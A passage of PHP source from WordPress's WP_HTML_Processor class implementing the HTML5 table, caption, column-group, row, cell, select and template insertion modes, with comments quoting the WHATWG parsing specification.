			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
